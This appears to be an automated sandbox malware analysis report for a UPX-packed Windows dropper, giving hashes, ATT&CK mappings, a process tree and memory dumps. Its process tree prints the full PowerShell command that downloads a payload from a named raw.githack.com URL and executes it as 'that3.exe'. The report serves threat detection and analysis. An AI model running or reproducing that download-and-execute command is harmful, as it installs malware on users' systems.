17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3

Analysis

max time kernel
94s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 21:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe
Size

89KB
MD5

8ab6d02d09997d5a1db2420aa60bb0e0
SHA1

67d2e628591e369c658cc2a65aa88b1fb8eb5863
SHA256

17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3
SHA512

8ed4116295add2915c4957f4c5af54d6a7f02d3b961278e63dd7fe730d6f41686550b3b2156cdce2df2e848358b8ece38157ace9762162a071aed3a7670d7447
SSDEEP

1536:zMFWeATa+8j6IuQ1crSgUZdnXAvU/XPNwsWh/5tDdWcFfjEQM3U0LRMaE:I7Z+LIB/n4U/fid9jpNfjEB37MaE

Score

10^/10

execution upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	4508	powershell.exe
9	4508	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4508	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
8	raw.githubusercontent.com

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2348-0-0x0000000000400000-0x000000000040E000-memory.dmp	upx
behavioral2/memory/2348-19-0x0000000000400000-0x000000000040E000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4508	powershell.exe
4508	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4508	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 4492	2348	17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe	84
PID 2348 wrote to memory of 4492	2348	17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe	84
PID 4492 wrote to memory of 4508	4492	cmd.exe	85
PID 4492 wrote to memory of 4508	4492	cmd.exe	85
PID 2348 wrote to memory of 2160	2348	17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe	86
PID 2348 wrote to memory of 2160	2348	17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe	86

C:\Users\Admin\AppData\Local\Temp\17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe
"C:\Users\Admin\AppData\Local\Temp\17b2aa16bbf19ea943006c22aa00a07d20285d964fa9f0a27152fb563f43e2d3N.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox', 'that3.exe')
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox', 'that3.exe')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c that3.exe
  2⤵
  PID:2160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yxcwvx0f.l1s.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2348-0-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2348-19-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/4508-1-0x00007FFF30AC3000-0x00007FFF30AC5000-memory.dmp

Filesize
8KB

Download
memory/4508-11-0x0000023BB2740000-0x0000023BB2762000-memory.dmp

Filesize
136KB

Download
memory/4508-12-0x00007FFF30AC0000-0x00007FFF31581000-memory.dmp

Filesize
10.8MB

Download
memory/4508-13-0x00007FFF30AC0000-0x00007FFF31581000-memory.dmp

Filesize
10.8MB

Download
memory/4508-14-0x00007FFF30AC0000-0x00007FFF31581000-memory.dmp

Filesize
10.8MB

Download
memory/4508-15-0x00007FFF30AC0000-0x00007FFF31581000-memory.dmp

Filesize
10.8MB

Download
memory/4508-18-0x00007FFF30AC0000-0x00007FFF31581000-memory.dmp

Filesize
10.8MB

Download